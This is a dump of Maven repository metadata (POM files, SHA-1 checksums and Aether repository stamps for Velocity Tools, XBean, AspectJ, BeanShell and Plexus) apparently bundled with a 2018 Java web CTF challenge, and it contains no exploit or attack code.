http://jakarta.apache.org/commons/collections/api-release http://logging.apache.org/log4j/docs/api http://velocity.apache.org/engine/releases/velocity-1.5/apidocs org.apache.maven.plugins maven-changelog-plugin Velocity User List user-subscribe@velocity.apache.org user-unsubscribe@velocity.apache.org http://mail-archives.apache.org/mod_mbox/velocity-user/ http://marc.theaimsgroup.com/?l=velocity-user&r=1&w=2 http://dir.gmane.org/gmane.comp.jakarta.velocity.user http://www.nabble.com/Velocity---User-f347.html http://www.mail-archive.com/user%40velocity.apache.org/ http://www.mail-archive.com/velocity-user%40jakarta.apache.org/ Velocity Developer List dev-subscribe@velocity.apache.org dev-unsubscribe@velocity.apache.org http://mail-archives.apache.org/mod_mbox/velocity-dev/ http://marc.theaimsgroup.com/?l=velocity-dev&r=1&w=2/ http://dir.gmane.org/gmane.comp.jakarta.velocity.devel http://www.nabble.com/Velocity---Dev-f346.html http://www.mail-archive.com/dev%40velocity.apache.org/ http://www.mail-archive.com/velocity-dev%40jakarta.apache.org/ JIRA http://issues.apache.org/jira/browse/VELTOOLS scm:svn:http://svn.apache.org/repos/asf/velocity/tools/trunk scm:svn:https://svn.apache.org/repos/asf/velocity/tools/trunk HEAD http://svn.apache.org/repos/asf/velocity/tools/trunk commons-beanutils commons-beanutils 1.7.0 commons-digester commons-digester 1.8 commons-chain commons-chain 1.1 javax.portlet portlet-api myfaces myfaces-api commons-collections commons-collections 3.2 commons-lang commons-lang 2.2 true commons-logging commons-logging 1.1 avalon-framework avalon-framework logkit logkit log4j log4j commons-validator commons-validator 1.3.1 xml-apis xml-apis dom4j dom4j 1.1 compile javax.servlet servlet-api 2.3 provided oro oro 2.0.8 sslext sslext 1.2-0 struts struts org.apache.struts struts-core 1.3.8 org.apache.struts struts-taglib 1.3.8 org.apache.struts struts-tiles 1.3.8 org.apache.velocity velocity 1.6.2 httpunit httpunit 1.6.1 test org.mortbay.jetty jetty-embedded 6.0.1 test org.mortbay.jetty jetty-embedded 6.0.1 test nekohtml nekohtml 0.9.5 test rhino js 1.6R5 test xerces xercesImpl 2.8.1 test xerces xmlParserAPIs 2.6.2 test junit junit 4.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom.sha1 ================================================ dfbd6d8a50df5de5ba9949e9ca9d0cf9af6ca99e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:05 CST 2018 xbean-3.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/xbean-3.4.pom ================================================ 4.0.0 org.apache apache 4 org.apache.xbean xbean Apache XBean pom 2005 3.4 XBean is a plugin based server architecture. http://geronimo.apache.org/xbean scm:svn:http://svn.apache.org/repos/asf/geronimo/xbean/tags/xbean-3.4 scm:svn:https://svn.apache.org/repos/asf/geronimo/xbean/tags/xbean-3.4 http://svn.apache.org/viewvc/geronimo/xbean/tags/xbean-3.4 * org.apache.xbean* !META-INF*,${xbean.osgi.export.pkg}*;version=${xbean.osgi.export.version} ${project.version} !META-INF*,${xbean.osgi.import.pkg} ${groupId}.${artifactId} jira http://issues.apache.org/jira/browse/XBEAN xbean developers mailto:xbean-dev-subscribe@geronimo.apache.org mailto:xbean-dev-unsubscribe@xbean.org xbean users mailto:xbean-user-subscribe@geronimo.apache.org mailto:xbean-user-unsubscribe@geronimo.apache.org chirino Hiram Chirino Commiter -5 dain Dain Sundstrom dain@iq80.com Commiter -8 dblevins David Blevins dblevins@visi.com Commiter -8 jstrachan James Strachan Commiter -8 jvanzyl Jason van Zyl Commiter -8 maguro Alan D. Cabrera Commiter -8 gnodet Guillaume Nodet Commiter +1 ant ant 1.6.2 cglib cglib-nodep 2.1_2 commons-beanutils commons-beanutils 1.7.0 commons-logging commons-logging 1.0.3 groovy groovy 1.0-jsr-03 mx4j mx4j 3.0.1 org.springframework spring-beans 2.0.5 org.springframework spring-context 2.0.5 org.springframework spring-web 2.0.5 org.springframework spring-jmx 2.0.5 com.thoughtworks.qdox qdox 1.6.3 junit junit 3.8.1 test install org.apache.xbean maven-xbean-plugin ${pom.version} org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 org.apache.maven.plugins maven-surefire-plugin false org.apache.maven.plugins maven-idea-plugin 1.5 1.5 true org.apache.maven.plugins maven-release-plugin 2.0-beta-7 clean,verify,install true maven-remote-resources-plugin 1.0 process org.apache:apache-jar-resource-bundle:1.4 true true Apache XBean org.apache.felix maven-bundle-plugin 1.4.0 true ${artifactId} ${xbean.osgi.symbolic.name} ${xbean.osgi.export} ${xbean.osgi.import} ${xbean.osgi.private.pkg} Apache XBean ${project.version} release true maven-gpg-plugin 1.0-alpha-4 ${gpg.passphrase} sign true maven-deploy-plugin 2.3 ${deploy.altRepository} true deploy deploy org.apache.maven.plugins maven-source-plugin 2.0.4 jar true maven-javadoc-plugin 2.4 1.5 attach-javadocs jar xbean-classloader xbean-classpath xbean-finder xbean-naming xbean-reflect xbean-spring xbean-telnet maven-xbean-plugin apache-snapshots Apache Snapshots Repository http://people.apache.org/repo/m2-snapshot-repository default true daily ignore false geronimo-website scp://people.apache.org/www/geronimo.apache.org/maven/xbean org.apache.maven.plugins maven-javadoc-plugin 2.0 128m 512 true true false 1.5 true http://java.sun.com/j2se/1.5.0/docs/api/ http://java.sun.com/j2se/1.4.2/docs/api/ http://java.sun.com/j2se/1.3/docs/api/ http://java.sun.com/j2ee/1.4/docs/api/ http://java.sun.com/j2ee/sdk_1.3/techdocs/api/ http://jakarta.apache.org/commons/collections/apidocs http://jakarta.apache.org/commons/logging/apidocs/ http://logging.apache.org/log4j/docs/api/ http://jakarta.apache.org/regexp/apidocs/ http://jakarta.apache.org/velocity/api/ org.apache.maven.plugins maven-pmd-plugin 2.1 1.5 org.codehaus.mojo jxr-maven-plugin org.codehaus.mojo surefire-report-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/xbean-3.4.pom.sha1 ================================================ 6b6d0d977f3fb41cfd097a350472baefd82713f5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 xbean-reflect-3.4.jar>central= xbean-reflect-3.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.jar.sha1 ================================================ 26fd55dceb037f4789b399b22874d74f4d2db66f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.pom ================================================ 4.0.0 xbean org.apache.xbean 3.4 xbean-reflect bundle Apache XBean :: Reflect asm asm 2.2.3 true asm asm-commons 2.2.3 true log4j log4j 1.2.12 compile commons-logging commons-logging-api 1.1 compile DEBUG org.apache.maven.plugins maven-surefire-plugin 2.2 pertest -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005 -enableassertions ${basedir}/target ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.pom.sha1 ================================================ 5027123eb872a166f5205a5eb00d3ed186b63277 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 aspectjweaver-1.8.1.jar>central= aspectjweaver-1.8.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.jar.sha1 ================================================ da75e95c91703667b2ae20acdd3d8ee40ea7aabd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.pom ================================================ 4.0.0 org.aspectj aspectjweaver jar 1.8.1 AspectJ weaver The AspectJ weaver introduces advices to java classes http://www.aspectj.org Eclipse Public License - v 1.0 http://www.eclipse.org/legal/epl-v10.html repo aclement Andy Clement aclement@vmware.com http://dev.eclipse.org/viewcvs/index.cgi/org.aspectj/?root=Tools_Project ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.pom.sha1 ================================================ d221982cf2838a18b28f80a0ff1e94a8b1a5624a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:59 CST 2018 beanshell-2.0b4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/beanshell-2.0b4.pom ================================================ 4.0.0 org.beanshell beanshell 2.0b4 pom BeanShell BeanShell http://www.beanshell.org/ GNU LESSER GENERAL PUBLIC LICENSE http://www.gnu.org/licenses/lgpl.txt ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/beanshell-2.0b4.pom.sha1 ================================================ d00ea1e44675318c6c9105473bc2168e6df4a9aa ./beanshell/2.0b4/beanshell-2.0b4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 bsh-2.0b4.pom>central= bsh-2.0b4.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.jar.sha1 ================================================ a05f0a0feefa8d8467ac80e16e7de071489f0d9c ./bsh/2.0b4/bsh-2.0b4.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.pom ================================================ 4.0.0 org.beanshell beanshell 2.0b4 bsh BeanShell BeanShell ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.pom.sha1 ================================================ 57e0b6a607859774b2cdd680c6f2aab147b83a4f ./bsh/2.0b4/bsh-2.0b4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:50 CST 2018 plexus-1.0.10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.10 mail
      dev@plexus.codehaus.org
      irc irc.codehaus.org 6667 #plexus
      2001 Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm JIRA http://jira.codehaus.org/browse/PLX codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus codehaus.snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstol trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer junit junit 3.8.1 test scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.10 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.10 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.10 Codehaus http://www.codehaus.org/ org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 org.apache.maven.wagon wagon-webdav 1.0-beta-2
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom.sha1 ================================================ 039c3f6a3cbe1f9e7b4a3309d9d7062b6e390fa7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:14 CST 2018 plexus-1.0.11.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.11 mail
      dev@plexus.codehaus.org
      irc irc.codehaus.org 6667 #plexus
      2001 The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm JIRA http://jira.codehaus.org/browse/PLX codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus codehaus.snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstol trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer junit junit 3.8.1 test scm:svn:http://svn.codehaus.org/plexus/pom/trunk/ scm:svn:https://svn.codehaus.org/plexus/pom/trunk/ http://fisheye.codehaus.org/browse/plexus/pom/trunk/ Codehaus http://www.codehaus.org/ org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 org.apache.maven.wagon wagon-webdav 1.0-beta-2 maven-release-plugin deploy
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom.sha1 ================================================ 4693d4512d50c5159bef1c49def1d2690a327c30 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:04 CST 2018 plexus-1.0.12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.12 2001 The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm JIRA http://jira.codehaus.org/browse/PLX codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus codehaus.snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false apache.snapshots Maven Snapshot Repository http://people.apache.org/maven-snapshot-repository true daily false never jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer junit junit 3.8.1 test scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.12 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.12 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.12 Codehaus http://www.codehaus.org/ org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 maven-release-plugin deploy ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom.sha1 ================================================ 71d4361c71c7454a2626f3e18c789747256fe0b1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:16 CST 2018 plexus-1.0.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.4 mail
      dev@plexus.codehaus.org
      irc irc.codehaus.org 6667 #plexus
      2001 Plexus Developer List http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/pipermail/plexus-dev/ repo1 Maven Central Repository scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2 snapshots Maven Central Development Repository scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2 snapshots Maven Snapshot Development Repository http://snapshots.maven.codehaus.org/maven2 false snapshots-plugins Maven Snapshot Plugins Development Repository http://snapshots.maven.codehaus.org/maven2 false jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer junit junit 3.8.1 test scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/ scm:svn:https://svn.codehaus.org/plexus/trunk Codehaus http://www.codehaus.org/ plexus-appserver plexus-archetypes plexus-components plexus-component-factories plexus-containers plexus-logging plexus-maven-plugin plexus-services plexus-tools plexus-utils org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/plexus/tags
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom.sha1 ================================================ 06f66b2f7d2eef1d805c11bca91c89984cda4137 /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:26 CST 2018 plexus-1.0.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/plexus-1.0.8.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.8 mail
      dev@plexus.codehaus.org
      irc irc.codehaus.org 6667 #plexus
      2001 Plexus Developer List http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/pipermail/plexus-dev/ JIRA http://jira.codehaus.org/browse/PLX codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus apache-snapshots Snapshot repository http://people.apache.org/maven-snapshot-repository false codehaus-snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false codehaus-snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstol trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer junit junit 3.8.1 test scm:svn:http://svn.codehaus.org/plexus/trunk/ scm:svn:https://svn.codehaus.org/plexus/trunk Codehaus http://www.codehaus.org/ plexus-archetypes plexus-examples plexus-components plexus-component-factories plexus-containers plexus-logging plexus-maven-plugin plexus-tools plexus-utils org.apache.maven.wagon wagon-webdav 1.0-beta-1 org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/plexus/tags
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/plexus-1.0.8.pom.sha1 ================================================ 9e7c8432829962afe796b32587c1bfa841a317d5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:08 CST 2018 plexus-1.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/plexus-1.0.9.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 1.0.9 mail
      dev@plexus.codehaus.org
      irc irc.codehaus.org 6667 #plexus
      2001 Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm JIRA http://jira.codehaus.org/browse/PLX codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus apache-snapshots Snapshot repository http://people.apache.org/maven-snapshot-repository false codehaus-snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false codehaus-snapshots Codehaus Snapshot Development Repository http://snapshots.repository.codehaus.org false jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstol trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer junit junit 3.8.1 test scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.9 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.9 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.9 Codehaus http://www.codehaus.org/ org.apache.maven.wagon wagon-webdav 1.0-beta-1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/plexus-1.0.9.pom.sha1 ================================================ 89d241b1e5ee6a72d3dd95d9eb90f635deebcdb2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:37 CST 2018 plexus-2.0.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom Plexus 2.0.2 http://plexus.codehaus.org/ mail
      dev@plexus.codehaus.org
      2001 The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm JIRA http://jira.codehaus.org/browse/PLX UTF-8 http://oss.repository.sonatype.org/content/repositories/plexus-snapshots plexus-releases Plexus Release Repository http://oss.repository.sonatype.org/content/repositories/plexus-releases plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier 